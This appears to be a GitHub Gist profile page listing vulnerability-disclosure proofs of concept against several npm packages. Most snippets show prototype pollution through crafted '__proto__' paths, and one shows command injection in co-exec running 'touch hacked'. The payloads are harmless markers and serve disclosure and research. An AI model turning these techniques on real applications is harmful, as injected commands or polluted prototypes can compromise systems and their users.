Skip to content

Instantly share code, notes, and snippets.

View miguelafmonteiro's full-sized avatar

Miguel Monteiro miguelafmonteiro

13 followers · 10 following
View GitHub Profile
@miguelafmonteiro
miguelafmonteiro / mosc_poc.js
Last active November 14, 2023 15:27
Affected versions of this package are vulnerable to Prototype Pollution. The function parse_properties() (mosc.js#14) adds in the target object a property specified in the argument properties without checking the argument key for sensitive properties like __proto__.
const MoscBase = require('mosc');
console.log({}.polluted)
var result = new MoscBase({}).parse_properties("__proto__", "polluted:Polluted!", {}, "");
console.log({}.polluted)
@miguelafmonteiro
miguelafmonteiro / co-exec_poc.js
Created July 18, 2023 10:22
Affected versions of this package are vulnerable to Command Injection as an attacker controlled parameter (index.js#L12) flows into a sensitive command execution API exec (index.js#L14). As a result, attackers may inject malicious commands.
const coexec = require('co-exec');
coexec("touch hacked", {})(function(){})
@miguelafmonteiro
miguelafmonteiro / @jimengio-safe-property_poc.js
Last active November 14, 2023 15:26
Affected versions of this package are vulnerable to Prototype Pollution. The functions safeSet2() (property.js#58), safeSet3() (property.js#68), safeSet4() (property.js#81) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
const jimengio = require('@jimengio/safe-property');
console.log({}.polluted2)
jimengio.safeSet2({}, "__proto__", "polluted2", "Polluted 2!");
console.log({}.polluted2)
console.log({}.polluted3)
jimengio.safeSet3({}, "a", "__proto__", "polluted3", "Polluted 3!");
console.log({}.polluted3)
@miguelafmonteiro
miguelafmonteiro / sep-prop_poc.js
Created July 18, 2023 10:11
Affected versions of this package are vulnerable to Prototype Pollution. The function set() (index.js#67) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
const sep = require('sep-prop');
console.log({}.polluted);
sep.set({}, "__proto__/polluted", "Polluted!");
console.log({}.polluted);
@miguelafmonteiro
miguelafmonteiro / expand-object_poc.js
Created July 18, 2023 10:08
Affected versions of this package are vulnerable to Prototype Pollution. The function expand() (index.js#13) expands the given string into an object and allows a nested property to be set without checking the provided keys for sensitive properties like __proto__.
const expand = require('expand-object');
console.log({}.polluted)
a = expand("__proto__.polluted:Polluted!");
console.log({}.polluted)
@miguelafmonteiro
miguelafmonteiro / slash-prop_poc.js
Created July 18, 2023 10:01
Affected versions of this package are vulnerable to Prototype Pollution. The function set() (index.js#22) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
const slashprop = require('slash-prop');
console.log({}.polluted)
slashprop.set({}, "__proto__/polluted", "Polluted!");
console.log({}.polluted)
@miguelafmonteiro
miguelafmonteiro / object-auger_poc.js
Created July 18, 2023 09:35
Affected versions of this package are vulnerable to Prototype Pollution. The function set() (index.js#55) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
const auger = require('object-auger');
console.log({}.polluted)
auger.set({}, ["__proto__", "polluted"], "Polluted!")
console.log({}.polluted)
@miguelafmonteiro
miguelafmonteiro / minux_poc.js
Created July 18, 2023 09:30
Affected versions of this package are vulnerable to Prototype Pollution. The function set() (index.js#92) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
const minux = require('minux');
console.log({}.__proto__)
minux("__proto__.polluted")
console.log({}.__proto__)
@miguelafmonteiro
miguelafmonteiro / set-from-path_poc.js
Created July 18, 2023 09:26
Affected versions of this package are vulnerable to Prototype Pollution. The function setInPath() (index.js#5) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
const set = require('set-from-path');
console.log({}.polluted)
set.set("__proto__.polluted", "Polluted!", {})
console.log({}.polluted)
@miguelafmonteiro
miguelafmonteiro / set-deep_poc.js
Created July 18, 2023 09:21
Affected versions of this package are vulnerable to Prototype Pollution. The function withNestedValue() (index.js#26) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
const set = require('set-deep');
console.log({}.polluted)
set("__proto__.polluted", {}, "Polluted!")
console.log({}.polluted)